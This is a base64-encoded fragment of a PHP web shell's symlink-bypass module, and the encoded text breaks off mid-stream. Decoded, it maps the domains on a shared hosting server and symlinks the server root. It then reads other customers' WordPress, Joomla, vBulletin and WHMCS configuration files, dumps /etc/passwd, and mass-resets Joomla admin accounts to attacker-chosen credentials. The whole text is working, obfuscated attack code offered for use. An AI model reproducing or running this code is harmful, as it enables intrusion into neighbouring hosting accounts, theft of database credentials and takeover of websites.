MDBtID0gQGZpbGUoIm5hbWVkLnR4dCIpOw0KDQoNCn0NCmlmKCEkZDAwbSkNCnsNCg0KICAgICAgICAgICAgICAgIGRpZSAoIjxtZXRhIGh0dHAtZXF1aXY9J3JlZnJlc2gnIGNvbnRlbnQ9JzA7IHVybD0/c3dzPXJlYWQnLz4iKTsNCn0NCmVsc2UNCg0Kew0KZWNobyAiPGRpdiBjbGFzcz0ndG1wJz4NCjx0YWJsZSBhbGlnbj0nY2VudGVyJyB3aWR0aD0nNDAlJz48dGQ+IERvbWFpbnMgPC90ZD48dGQ+IFNjcmlwdCA8L3RkPiI7DQpmb3JlYWNoKCRkMDBtIGFzICRkb20pew0KDQpmbHVzaCgpOw0KZmx1c2goKTsNCg0KDQoNCmlmKGVyZWdpKCJ6b25lIiwkZG9tKSl7DQoNCkBwcmVnX21hdGNoX2FsbCgnI3pvbmUgIiguKikiIycsICRkb20sICRkb21zd3MpOw0KDQpmbHVzaCgpOw0KDQppZihAc3RybGVuKHRyaW0oJGRvbXN3c1sxXVswXSkpID4gMil7DQoNCiR1c2VyID0gQHBvc2l4X2dldHB3dWlkKEBmaWxlb3duZXIoIi9ldGMvdmFsaWFzZXMvIi4kZG9tc3dzWzFdWzBdKSk7DQoNCi8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vDQoNCiR3cGw9JHBhZ2VVUkwuIi9zeW0vcm9vdC9ob21lLyIuJHVzZXJbJ25hbWUnXS4iL3B1YmxpY19odG1sL3dwLWNvbmZpZy5waHAiOw0KJHdwcD1AZ2V0X2hlYWRlcnMoJHdwbCk7DQokd3A9JHdwcFswXTsNCg0KJHdwMj0kcGFnZVVSTC4iL3N5bS9yb290L2hvbWUvIi4kdXNlclsnbmFtZSddLiIvcHVibGljX2h0bWwvYmxvZy93cC1jb25maWcucGhwIjsNCiR3cHAyPUBnZXRfaGVhZGVycygkd3AyKTsNCiR3cDEyPSR3cHAyWzBdOw0KDQovLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vDQoNCiRqbzE9JHBhZ2VVUkwuIi9zeW0vcm9vdC9ob21lLyIuJHVzZXJbJ25hbWUnXS4iL3B1YmxpY19odG1sL2NvbmZpZ3VyYXRpb24ucGhwIjsNCiRqb289QGdldF9oZWFkZXJzKCRqbzEpOw0KJGpvPSRqb29bMF07DQoNCg0KJGpvMj0kcGFnZVVSTC4iL3N5bS9yb290L2hvbWUvIi4kdXNlclsnbmFtZSddLiIvcHVibGljX2h0bWwvam9vbWxhL2NvbmZpZ3VyYXRpb24ucGhwIjsNCiRqb28yPUBnZXRfaGVhZGVycygkam8yKTsNCiRqbzEyPSRqb28yWzBdOw0KDQovLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLw0KDQokdmIxPSRwYWdlVVJMLiIvc3ltL3Jvb3QvaG9tZS8iLiR1c2VyWyduYW1lJ10uIi9wdWJsaWNfaHRtbC9pbmNsdWRlcy9jb25maWcucGhwIjsNCiR2YmI9QGdldF9oZWFkZXJzKCR2YjEpOw0KJHZiPSR2YmJbMF07DQoNCiR2YjI9JHBhZ2VVUkwuIi9zeW0vcm9vdC9ob21lLyIuJHVzZXJbJ25hbWUnXS4iL3B1YmxpY19odG1sL3ZiL2luY2x1ZGVzL2NvbmZpZy5waHAiOw0KJHZiYjI9QGdldF9oZWFkZXJzKCR2YjIpOw0KJHZiMTI9JHZiYjJbMF07DQoNCiR2YjM9JHBhZ2VVUkwuIi9zeW0vcm9vdC9ob21lLyIuJHVzZXJbJ25hbWUnXS4iL3B1YmxpY19odG1sL2ZvcnVtL2luY2x1ZGVzL2NvbmZpZy5waHAiOw0KJHZiYjM9QGdldF9oZWFkZXJzKCR2YjMpOw0KJHZiMTM9JHZiYjNbMF07DQoNCi8vLy8vLy8vLy8vLy8vLy8vDQoNCiR3aDE9JHBhZ2VVUkwuIi9zeW0vcm9vdC9ob21lLyIuJHVzZXJbJ25hbWUnXS4icHVibGljX2h0bWwvY2xpZW50cy9jb25maWd1cmF0aW9uLnBocCI7DQokd2hoMj0gQGdldF9oZWFkZXJzKCR3aDEpOw0KJHdoPSR3aGgyWzBdOw0KDQokd2gyPSRwYWdlVVJMLiIvc3ltL3Jvb3QvaG9tZS8iLiR1c2VyWyduYW1lJ10uIi9wdWJsaWNfaHRtbC9zdXBwb3J0L2NvbmZpZ3VyYXRpb24ucGhwIjsNCiR3aGgyPSBAZ2V0X2hlYWRlcnMoJHdoMik7DQokd2gxMj0kd2hoMlswXTsNCg0KJHdoMz0kcGFnZVVSTC4iL3N5bS9yb290L2hvbWUvIi4kdXNlclsnbmFtZSddLiIvcHVibGljX2h0bWwvY2xpZW50L2NvbmZpZ3VyYXRpb24ucGhwIjsNCiR3aGgzPSBAZ2V0X2hlYWRlcnMoJHdoMyk7DQokd2gxMz0kd2hoM1swXTsNCg0KJHdoNT0kcGFnZVVSTC4iL3N5bS9yb290L2hvbWUvIi4kdXNlclsnbmFtZSddLiIvcHVibGljX2h0bWwvc3VibWl0dGlja2V0LnBocCI7DQokd2hoNT0gQGdldF9oZWFkZXJzKCR3aDUpOw0KJHdoMTU9JHdoaDVbMF07DQoNCiR3aDQ9JHBhZ2VVUkwuIi9zeW0vcm9vdC9ob21lLyIuJHVzZXJbJ25hbWUnXS4iL3B1YmxpY19odG1sL2NsaWVudC9jb25maWd1cmF0aW9uLnBocCI7DQokd2hoND0gQGdldF9oZWFkZXJzKCR3aDQpOw0KJHdoMTQ9JHdoaDRbMF07DQoNCg0KDQovLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLw0KDQogLy8vLy8vLy8vLyBXb3JkcHJlc3MgLy8vLy8vLy8vLy8vDQoNCiRwb3MgPSBzdHJwb3MoJHdwLCAiMjAwIik7DQokY29uZmlnPSImbmJzcDsiOw0KDQppZiAoc3RycG9zKCR3cCwgIjIwMCIpID09IHRydWUgKQ0Kew0KICRjb25maWc9IjxhIGhyZWY9JyIuJHdwbC4iJyB0YXJnZXQ9J19ibGFuayc+V29yZHByZXNzPC9hPiI7DQp9DQplbHNlaWYgKHN0cnBvcygkd3AxMiwgIjIwMCIpID09IHRydWUpDQp7DQogICRjb25maWc9IjxhIGhyZWY9JyIuJHdwMi4iJyB0YXJnZXQ9J19ibGFuayc+V29yZHByZXNzPC9hPiI7DQp9DQoNCi8vLy8vLy8vLy8vV0hNQ1MvLy8vLy8vLw0KDQplbHNlaWYgKHN0cnBvcygkam8sICIyMDAiKSAgPT0gdHJ1ZSBhbmQgc3RycG9zKCR3aDE1LCAiMjAwIikgID09IHRydWUgKQ0Kew0KICAkY29uZmlnPSIgPGEgaHJlZj0nIi4kd2g1LiInIHRhcmdldD0nX2JsYW5rJz5XSE1DUzwvYT4iOw0KDQp9DQplbHNlaWYgKHN0cnBvcygkd2gxMiwgIjIwMCIpICA9PSB0cnVlKQ0Kew0KICAkY29uZmlnID0iIDxhIGhyZWY9JyIuJHdoMi4iJyB0YXJnZXQ9J19ibGFuayc+V0hNQ1M8L2E+IjsNCn0NCg0KZWxzZWlmIChzdHJwb3MoJHdoMTMsICIyMDAiKSAgPT0gdHJ1ZSkNCnsNCiAgJGNvbmZpZyA9IiA8YSBocmVmPSciLiR3aDMuIicgdGFyZ2V0PSdfYmxhbmsnPldITUNTPC9hPiI7DQoNCn0NCg0KLy8vLy8vLy8vIEpvb21sYSB0byA0IC8vLy8vLy8vLy8vDQoNCmVsc2VpZiAoc3RycG9zKCRqbywgIjIwMCIpICA9PSB0cnVlKQ0Kew0KICAkY29uZmlnPSIgPGEgaHJlZj0nIi4kam8xLiInIHRhcmdldD0nX2JsYW5rJz5Kb29tbGE8L2E+IjsNCn0NCg0KZWxzZWlmIChzdHJwb3MoJGpvMTIsICIyMDAiKSAgPT0gdHJ1ZSkNCnsNCiAgJGNvbmZpZz0iIDxhIGhyZWY9JyIuJGpvMi4iJyB0YXJnZXQ9J19ibGFuayc+Sm9vbWxhPC9hPiI7DQp9DQoNCi8vLy8vLy8vLy92QnVsbGV0aW4gdG8gNCAvLy8vLy8vLy8vLw0KDQplbHNlaWYgKHN0cnBvcygkdmIsICIyMDAiKSAgPT0gdHJ1ZSkNCnsNCiAgJGNvbmZpZz0iIDxhIGhyZWY9JyIuJHZiMS4iJyB0YXJnZXQ9J19ibGFuayc+dkJ1bGxldGluPC9hPiI7DQp9DQoNCmVsc2VpZiAoc3RycG9zKCR2YjEyLCAiMjAwIikgID09IHRydWUpDQp7DQogICRjb25maWc9IiA8YSBocmVmPSciLiR2YjIuIicgdGFyZ2V0PSdfYmxhbmsnPnZCdWxsZXRpbjwvYT4iOw0KfQ0KDQplbHNlaWYgKHN0cnBvcygkdmIxMywgIjIwMCIpICA9PSB0cnVlKQ0Kew0KICAkY29uZmlnPSIgPGEgaHJlZj0nIi4kdmIzLiInIHRhcmdldD0nX2JsYW5rJz52QnVsbGV0aW48L2E+IjsNCn0NCg0KZWxzZQ0Kew0KIGNvbnRpbnVlOw0KfQ0KZmx1c2goKTsNCmZsdXNoKCk7DQoNCi8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8NCg0KJHNpdGUgPSAkdXNlclsnbmFtZSddIDsNCg0KDQoNCmZsdXNoKCk7DQoNCmVjaG8gIjx0cj48dGQ+PGEgaHJlZj1odHRwOi8vd3d3LiIuJGRvbXN3c1sxXVswXS4iLz4iLiRkb21zd3NbMV1bMF0uIjwvYT48L3RkPg0KPHRkPiIuJGNvbmZpZy4iPC90ZD48L3RyPiI7IGZsdXNoKCk7DQoNCn0NCn0NCn0NCn0NCg0KYnJlYWs7DQoNCg0KLy8vIHVzZXIgKyBkb21pbmUgKyBzeW1saW5rICAvLy8NCg0KY2FzZSAnc3ltJzoNCg0KaWYoIWlzX2ZpbGUoJ25hbWVkLnR4dCcpKXsNCg0KJGQwMG0gPSBAZmlsZSgiL2V0Yy9uYW1lZC5jb25mIik7DQoNCn1lbHNlew0KDQokZDAwbSA9IEBmaWxlKCJuYW1lZC50eHQiKTsNCg0KDQp9DQppZighJGQwMG0pDQp7DQoNCiAgICAgICAgICAgICAgICBkaWUgKCI8bWV0YSBodHRwLWVxdWl2PSdyZWZyZXNoJyBjb250ZW50PScwOyB1cmw9P3N3cz1yZWFkJy8+Iik7DQp9DQplbHNlDQoNCnsNCmVjaG8gIjxkaXYgY2xhc3M9J3RtcCc+PHRhYmxlIGFsaWduPSdjZW50ZXInIHdpZHRoPSc0MCUnPjx0ZD5Eb21haW5zPC90ZD48dGQ+VXNlcnM8L3RkPjx0ZD5zeW1saW5rIDwvdGQ+IjsNCmZvcmVhY2goJGQwMG0gYXMgJGRvbSl7DQoNCmlmKGVyZWdpKCJ6b25lIiwkZG9tKSl7DQoNCnByZWdfbWF0Y2hfYWxsKCcjem9uZSAiKC4qKSIjJywgJGRvbSwgJGRvbXN3cyk7DQoNCmZsdXNoKCk7DQoNCmlmKHN0cmxlbih0cmltKCRkb21zd3NbMV1bMF0pKSA+IDIpew0KDQokdXNlciA9IHBvc2l4X2dldHB3dWlkKEBmaWxlb3duZXIoIi9ldGMvdmFsaWFzZXMvIi4kZG9tc3dzWzFdWzBdKSk7DQoNCmZsdXNoKCk7DQoNCg0KDQokc2l0ZSA9ICR1c2VyWyduYW1lJ10gOw0KDQoNCkBzeW1saW5rKCIvIiwic3ltL3Jvb3QiKTsNCg0KJHNpdGUgPSAkZG9tc3dzWzFdWzBdOw0KDQokaXIgPSAnaXInOw0KDQokaWwgPSAnaWwnOw0KDQppZiAocHJlZ19tYXRjaCgiLy5eJGlyLyIsJGRvbXN3c1sxXVswXSkgb3IgcHJlZ19tYXRjaCgiLy5eJGlsLyIsJGRvbXN3c1sxXVswXSkgKQ0Kew0KJHNpdGUgPSAiPGRpdiBzdHlsZT0nIGNvbG9yOiAjRkYwMDAwIDsgdGV4dC1zaGFkb3c6IDBweCAwcHggMXB4IHJlZDsgJz4iLiRkb21zd3NbMV1bMF0uIjwvZGl2PiI7DQp9DQoNCg0KZWNobyAiDQo8dHI+DQoNCjx0ZD4NCjxkaXYgY2xhc3M9J2RvbSc+PGEgdGFyZ2V0PSdfYmxhbmsnIGhyZWY9aHR0cDovL3d3dy4iLiRkb21zd3NbMV1bMF0uIi8+Ii4kc2l0ZS4iIDwvYT4gPC9kaXY+DQo8L3RkPg0KDQoNCjx0ZD4NCiIuJHVzZXJbJ25hbWUnXS4iDQo8L3RkPg0KPHRkPg0KPGEgaHJlZj0nc3ltL3Jvb3QvaG9tZS8iLiR1c2VyWyduYW1lJ10uIi9wdWJsaWNfaHRtbCcgdGFyZ2V0PSdfYmxhbmsnPnN5bWxpbmsgPC9hPg0KPC90ZD4NCg0KDQo8L3RyPjwvZGl2PiAiOw0KDQoNCmZsdXNoKCk7DQpmbHVzaCgpOw0KDQp9DQp9DQp9DQp9DQoNCg0KDQoNCmJyZWFrOw0KDQoNCi8vLyBmaWxlICBzeW1saW5rIC8vLw0KDQpjYXNlICdmaWxlJzoNCg0KZWNobycNClRoZSBmaWxlIHBhdGggdG8gc3ltbGluaw0KDQo8YnIgLz48YnIgLz4NCjxmb3JtIG1ldGhvZD0icG9zdCI+DQo8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0iZmlsZSIgdmFsdWU9Ii9ob21lL3VzZXIvcHVibGljX2h0bWwvZmlsZS5uYW1lIiBzaXplPSI2MCIvPjxiciAvPjxiciAvPg0KPGlucHV0IHR5cGU9InRleHQiIG5hbWU9InN5bWZpbGUiIHZhbHVlPSJmaWxlLm5hbWVfc3ltICggRXguIDo6IHJveWFsaXN0ZS50eHQgKSIgc2l6ZT0iNjAiLz48YnIgLz48YnIgLz4NCjxpbnB1dCB0eXBlPSJzdWJtaXQiIHZhbHVlPSJzeW1saW5rIiBuYW1lPSJzeW1saW5rIiAvPiA8YnIgLz48YnIgLz4NCg0KDQoNCjwvZm9ybT4NCic7DQoNCiRwZmlsZSA9ICRfUE9TVFsnZmlsZSddOw0KJHN5bWZpbGUgPSAkX1BPU1RbJ3N5bWZpbGUnXTsNCiRzeW1saW5rID0gJF9QT1NUWydzeW1saW5rJ107DQoNCmlmICgkc3ltbGluaykNCnsNCg0KDQpAbWtkaXIoJ3N5bTEnLDA3NzcpOw0KJGMgID0gIk9wdGlvbnMgSW5kZXhlcyBGb2xsb3dTeW1MaW5rcyBcbiBEaXJlY3RvcnlJbmRleCBzc3Nzc3MuaHRtIFxuIEFkZFR5cGUgdHh0IC5waHAgXG4gQWRkSGFuZGxlciB0eHQgLnBocCBcbiAgQWRkVHlwZSB0eHQgLmh0bWwgXG4gQWRkSGFuZGxlciB0eHQgLmh0bWwgXG4gT3B0aW9ucyBhbGwgXG4gT3B0aW9ucyBcbiBBbGxvdyBmcm9tIGFsbCBcbiBSZXF1aXJlIE5vbmUgXG4gU2F0aXNmeSBBbnkiOw0KJGYgPUBmb3BlbiAoJ3N5bTEvLmh0YWNjZXNzJywndycpOw0KQGZ3cml0ZSgkZiAsICRjKTsNCg0KQHN5bWxpbmsoIiRwZmlsZSIsInN5bTEvJHN5bWZpbGUiKTsNCg0KZWNobyAnPGJyIC8+PGEgdGFyZ2V0PSJfYmxhbmsiIGhyZWY9InN5bTEvJy4kc3ltZmlsZS4nIiA+Jy4kc3ltZmlsZS4nPC9hPic7DQoNCn0NCmJyZWFrOw0KDQovLy8gYnlwYXNzIHJlYWQNCg0KY2FzZSAncmVhZCc6DQoNCmVjaG8gInJlYWQgL2V0Yy9uYW1lZC5jb25mIjsNCmVjaG8gIjxiciAvPjxiciAvPjxmb3JtIG1ldGhvZD0ncG9zdCcgYWN0aW9uPSc/c3dzPXJlYWQmc2F2ZT0xJz48dGV4dGFyZWEgY29scz0nODAnIHJvd3M9JzIwJyBuYW1lPSdmaWxlJz4iOw0KZmx1c2goKTsNCmZsdXNoKCk7DQoNCg0KJGZpbGUgPSAnL2V0Yy9uYW1lZC5jb25mJzsNCg0KDQokcjNhZCA9IEBmb3BlbigkZmlsZSwgJ3InKTsNCmlmICgkcjNhZCl7DQokY29udGVudCA9IEBmcmVhZCgkcjNhZCwgQGZpbGVzaXplKCRmaWxlKSk7DQplY2hvICIiLmh0bWxlbnRpdGllcygkY29udGVudCkuIiI7DQp9DQplbHNlIGlmICghJHIzYWQpDQp7DQokcjNhZCA9IEBzaG93X3NvdXJjZSgkZmlsZSkgOw0KfQ0KZWxzZSBpZiAoISRyM2FkKQ0Kew0KJHIzYWQgPSBAaGlnaGxpZ2h0X2ZpbGUoJGZpbGUpOw0KfQ0KZWxzZSBpZiAoISRyM2FkKQ0Kew0KJHNtID0gQHN5bWxpbmsoJGZpbGUsJ3N5bS50eHQnKTsNCg0KDQppZiAoJHNtKXsNCiRyM2FkID0gQGZvcGVuKCdzeW0vc3ltLnR4dCcsICdyJyk7DQokY29udGVudCA9IEBmcmVhZCgkcjNhZCwgQGZpbGVzaXplKCRmaWxlKSk7DQplY2hvICIiLmh0bWxlbnRpdGllcygkY29udGVudCkuIiI7DQoNCn0NCn0NCg0KZWNobyAiPC90ZXh0YXJlYT48YnIgLz48YnIgLz48aW5wdXQgIHR5cGU9J3N1Ym1pdCcgdmFsdWU9J1NhdmUnLz4gPC9mb3JtPiI7DQoNCg0KaWYoaXNzZXQoJF9HRVRbJ3NhdmUnXSkpew0KDQoNCiRjb250ID0gc3RyaXBjc2xhc2hlcygkX1BPU1RbJ2ZpbGUnXSk7DQoNCiRmID0gZm9wZW4oJ25hbWVkLnR4dCcsJ3cnKTsNCg0KJHcgPSBmd3JpdGUoJGYsJGNvbnQpOw0KDQogICAgICAgICAgICAgICAgICBpZigkdyl7DQoNCiAgICAgICAgICAgICAgICAgIGVjaG8gJzxiciAvPnNhdmUgaGFzIGJlZW4gc3VjY2Vzc2Z1bGx5JzsNCg0KICAgICAgICAgICAgICAgICAgfQ0KDQpmY2xvc2UoJGYpOw0KDQp9DQoNCmJyZWFrOw0KDQovLyBwYXNzd2QNCg0KY2FzZSAncGFzc3dkJzoNCg0KaWYoaXNzZXQoJF9HRVRbJ3NhdmUnXSkgYW5kIGlzc2V0KCRfUE9TVFsnZmlsZSddKSBvciBAZmlsZXNpemUoJ3Bhc3N3ZC50eHQnKSA+IDApew0KDQoNCiRjb250ID0gc3RyaXBjc2xhc2hlcygkX1BPU1RbJ2ZpbGUnXSk7DQoNCmlmKCFmaWxlX2V4aXN0cygncGFzc3dkLnR4dCcpKXsNCg0KJGYgPSBAZm9wZW4oJ3Bhc3N3ZC50eHQnLCd3Jyk7DQoNCiR3ID0gQGZ3cml0ZSgkZiwkY29udCk7DQoNCmZjbG9zZSgkZik7DQp9DQppZigkdyBvciBAZmlsZXNpemUoJ3Bhc3N3ZC50eHQnKSA+IDApew0KLy8gKiBTSE9XICogLy8NCg0KZWNobyAiPGRpdiBjbGFzcz0ndG1wJz48dGFibGUgYWxpZ249J2NlbnRlcicgd2lkdGg9JzM1JSc+PHRkPlVzZXJzPC90ZD48dGQ+c3ltbGluazwvdGQ+PHRkPkZUUDwvdGQ+IjsNCmZsdXNoKCk7DQoNCiRmaWwzID0gZmlsZSgncGFzc3dkLnR4dCcpOw0KDQpmb3JlYWNoICgkZmlsMyBhcyAkZil7DQoNCiAgICAgJHU9ZXhwbG9kZSgnOicsICRmKTsNCiAgICAgJHVzZXIgPSAkdVsnMCddOw0KDQoNCg0KZWNobyAiDQo8dHI+DQoNCg0KPHRkIHdpZHRoPScxNSUnPg0KJHVzZXINCjwvdGQ+DQoNCjx0ZCB3aWR0aD0nMTAlJz4NCjxhIGhyZWY9J3N5bS9yb290L2hvbWUvJHVzZXIvcHVibGljX2h0bWwnIHRhcmdldD0nX2JsYW5rJz5TeW1saW5rIDwvYT4NCjwvdGQ+DQoNCjx0ZCB3aWR0aD0nMTAlJz4NCjxhIGhyZWY9JyRwYWdlRlRQL3N5bS9yb290L2hvbWUvJHVzZXIvcHVibGljX2h0bWwnIHRhcmdldD0nX2JsYW5rJz5GVFA8L2E+DQo8L3RkPg0KDQoNCg0KPC90cj48L2Rpdj4gIjsNCg0KDQpmbHVzaCgpOw0KZmx1c2goKTsNCg0KDQp9DQoNCmRpZSAoIjwvdHI+PC9kaXY+Iik7DQogICAgICAgICAgICAgICAgICB9DQoNCn0NCg0KZWNobyAicmVhZCAvZXRjL3Bhc3N3ZCI7DQplY2hvICI8YnIgLz48YnIgLz48Zm9ybSBtZXRob2Q9J3Bvc3QnIGFjdGlvbj0nP3N3cz1wYXNzd2Qmc2F2ZT0xJz48dGV4dGFyZWEgY29scz0nODAnIHJvd3M9JzIwJyBuYW1lPSdmaWxlJz4iOw0KZmx1c2goKTsNCg0KJGZpbGUgPSAnL2V0Yy9wYXNzd2QnOw0KDQoNCiRyM2FkID0gQGZvcGVuKCRmaWxlLCAncicpOw0KaWYgKCRyM2FkKXsNCiRjb250ZW50ID0gQGZyZWFkKCRyM2FkLCBAZmlsZXNpemUoJGZpbGUpKTsNCmVjaG8gIiIuaHRtbGVudGl0aWVzKCRjb250ZW50KS4iIjsNCn0NCmVsc2VpZighJHIzYWQpDQp7DQokcjNhZCA9IEBzaG93X3NvdXJjZSgkZmlsZSkgOw0KfQ0KZWxzZWlmKCEkcjNhZCkNCnsNCiRyM2FkID0gQGhpZ2hsaWdodF9maWxlKCRmaWxlKTsNCn0NCmVsc2VpZighJHIzYWQpDQp7DQoNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZm9yKCR1aWQ9MDskdWlkPDEwMDA7JHVpZCsrKXsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRhcmEgPSBwb3NpeF9nZXRwd3VpZCgkdWlkKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgaWYgKCFlbXB0eSgkYXJhKSkgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB3aGlsZSAobGlzdCAoJGtleSwgJHZhbCkgPSBlYWNoKCRhcmEpKXsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBwcmludCAiJHZhbDoiOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHByaW50ICJcbiI7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfQ0KDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfQ0KDQogfQ0KDQoNCmZsdXNoKCk7DQoNCg0KZWNobyAiPC90ZXh0YXJlYT48YnIgLz48YnIgLz48aW5wdXQgIHR5cGU9J3N1Ym1pdCcgdmFsdWU9JyZuYnNwOyZuYnNwO3N5bWxpbmsmbmJzcDsmbmJzcDsnLz4gPC9mb3JtPiI7DQpmbHVzaCgpOw0KDQpicmVhazsNCg0KDQoNCmNhc2UgJ2pvb21sYSc6DQoNCi8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8geHh4eHh4eHh4eHh4eHh4eHh4eCAvLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vDQoNCg0KaWYoaXNzZXQoJF9QT1NUWydzJ10pKXsNCg0KJGZpbGUgPSBAZmlsZV9nZXRfY29udGVudHMoJ2pvb21sYS50eHQnKTsNCg0KJGV4ICAgPSBleHBsb2RlKCJcbiIsJGZpbGUpOw0KDQplY2hvICI8ZGl2IGNsYXNzPSd0bXAnPjx0YWJsZSBhbGlnbj0nY2VudGVyJyB3aWR0aD0nNDAlJz48dGQ+IGRvbWluIDwvdGQ+PHRkPiBjb25maWcgPC90ZD48dGQ+IFJlc3VsdCA8L3RkPiI7DQpmbHVzaCgpOw0KDQoNCmZvcmVhY2ggKCRleCBhcyAkZXhwKXsNCg0KJGVzICAgPSBleHBsb2RlKCJ8fCIsJGV4cCk7DQoNCiRjb25maWcgPSAkZXNbMF07DQoNCiRkb21pbiA9ICRlc1sxXTsNCg0KJGRvbWlucyA9IHRyaW0oJGRvbWluKS4nJzsNCg0KJHJlYWRjb25maWcgID0gQGZpbGVfZ2V0X2NvbnRlbnRzKHRyaW0oJGNvbmZpZykpOw0KDQppZihlcmVnKCdKQ29uZmlnJywkcmVhZGNvbmZpZykpew0KDQoNCg0KJHBhc3MgICAgPSAgZXgoJHJlYWRjb25maWcsJyRwYXNzd29yZCA9IFwnJywiJzsiKTsNCg0KJHVzZXJkYiAgPSAgZXgoJHJlYWRjb25maWcsJyR1c2VyID0gXCcnLCInOyIpOw0KDQokZGIgICAgICA9ICBleCgkcmVhZGNvbmZpZywnJGRiID0gXCcnLCInOyIpOw0KDQokZml4ICAgICA9ICBleCgkcmVhZGNvbmZpZywnJGRicHJlZml4ID0gXCcnLCInOyIpOw0KDQokdGFiICAgICA9ICAkZml4Lid1c2Vycyc7DQoNCg0KJGNvbiAgICAgPSBAbXlzcWxfY29ubmVjdCgnbG9jYWxob3N0JywkdXNlcmRiLCRwYXNzKTsNCg0KJGRiICAgICAgPSBAbXlzcWxfc2VsZWN0X2RiKCRkYiwkY29uKTsNCg0KJHF1ZXJ5ICAgPSBAbXlzcWxfcXVlcnkoIlVQREFURSBgJHRhYmAgIFNFVCBgdXNlcm5hbWVgID0nc2VjLXcuY29tJyIpOw0KDQoNCiRxdWVyeTMgID0gQG15c3FsX3F1ZXJ5KCJVUERBVEUgYCR0YWJgICBTRVQgYHBhc3N3b3JkYCA9JzQ0YTBiY2RhNjExNTE0NjI1YmE5NGUwYjFjMGJkYWVkOjJpZXRzOXlkalIzaU9kU3V5dlc1NHBJenlGOU0xUDVKJyIpOw0KDQoNCmlmICgkcXVlcnkgYW5kICRxdWVyeTMgKXskciA9ICc8YiBzdHlsZT0iY29sb3I6ICMwMDY2MDAiPlN1Y2NlZWQgPC9iPnVzZXIgW3NlYy13LmNvbV0gcGFzcyBbMV08L2I+Jzt9ZWxzZXskciA9ICc8YiBzdHlsZT0iY29sb3I6cmVkIj5mYWlsZWQ8L2I+Jzt9DQoNCiRkb21pbnMgPSB0cmltKCRkb21pbikuJyc7DQoNCmVjaG8gIjx0cj4NCjx0ZD48YSB0YXJnZXQ9J19ibGFuaycgaHJlZj0naHR0cDovLyRkb21pbnMnPiRkb21pbjwvYT48L3RkPg0KPHRkPjxhIHRhcmdldD0nX2JsYW5rJyBocmVmPSckY29uZmlnJz5jb25maWc8L2E+PC90ZD48dGQ+Ii4kci4iPC90ZD48L3RyPiI7DQpmbHVzaCgpOw0KDQoNCg0KfWVsc2V7DQoNCmVjaG8gIjx0cj4NCjx0ZD48YSB0YXJnZXQ9J19ibGFuaycgaHJlZj0naHR0cDovLyRkb21pbnMnPiRkb21pbjwvYT48L3RkPg0KPHRkPjxhIHRhcmdldD0nX2JsYW5rJyBocmVmPSdodHRwOi8vJGV4cCc+Y29uZmlnPC9hPjwvdGQ+PHRkPjxiIHN0eWxlPSdjb2xvcjpyZWQnPmZhaWxlZDwvYj48L3RkPjwvdHI+IjsNCmZsdXNoKCk7DQoNCn0NCg0KfQ0KDQpkaWUoKTsNCg0KfQ0KDQppZighaXNfZmlsZSgnbmFtZWQudHh0Jykpew0KDQokZDAwbSA9IEBmaWxlKCIvZXRjL25hbWVkLmNvbmYiKTsNCg0KZmx1c2goKTsNCg0KDQp9ZWxzZXsNCg0KJGQwMG0gPSBmaWxlKCJuYW1lZC50eHQiKTsNCg0KDQp9DQppZighJGQwMG0pDQp7DQoNCiAgICAgICAgICAgICAgICBkaWUgKCI8bWV0YSBodHRwLWVxdWl2PSdyZWZyZXNoJyBjb250ZW50PScwOyB1cmw9P3N3cz1yZWFkJy8+Iik7DQp9DQplbHNlDQoNCnsNCmVjaG8gIjxkaXYgY2xhc3M9J3RtcCc+DQo8Zm9ybSBtZXRob2Q9J1BPU1QnIGFjdGlvbj0nJHBnP3N3cz1qb29tbGEnPg0KPGlucHV0IHR5cGU9J3N1Ym1pdCcgdmFsdWU9J01hc3MgY2hpbmcgQWRtaW4nIC8+DQo8aW5wdXQgdHlwZT0naGlkZGVuJyB2YWx1ZT0nMScgbmFtZT0ncycgLz4NCjwvZm9ybT48YnIgLz48YnIgLz4NCjx0YWJsZSBhbGlnbj0nY2VudGVyJyB3aWR0aD0nNDAlJz48dGQ+IERvbWFpbnMgPC90ZD48dGQ+IGNvbmZpZyA8L3RkPjx0ZD4gUmVzdWx0IDwvdGQ+IjsNCg0KJGYgPSBmb3Blbignam9vbWxhLnR4dCcsJ3cnKTsNCg0KZm9yZWFjaCgkZDAwbSBhcyAkZG9tKXsNCg0KaWYoZXJlZ2koInpvbmUiLCRkb20pKXsNCg0KcHJlZ19tYXRjaF9hbGwoJyN6b25lICIoLiopIiMnLCAkZG9tLCAkZG9tc3dzKTsNCg0KaWYoc3RybGVuKHRyaW0oJGRvbXN3c1sxXVswXSkpID4gMil7DQoNCiR1c2VyID0gcG9zaXhfZ2V0cHd1aWQoQGZpbGVvd25lcigiL2V0Yy92YWxpYXNlcy8iLiRkb21zd3Nb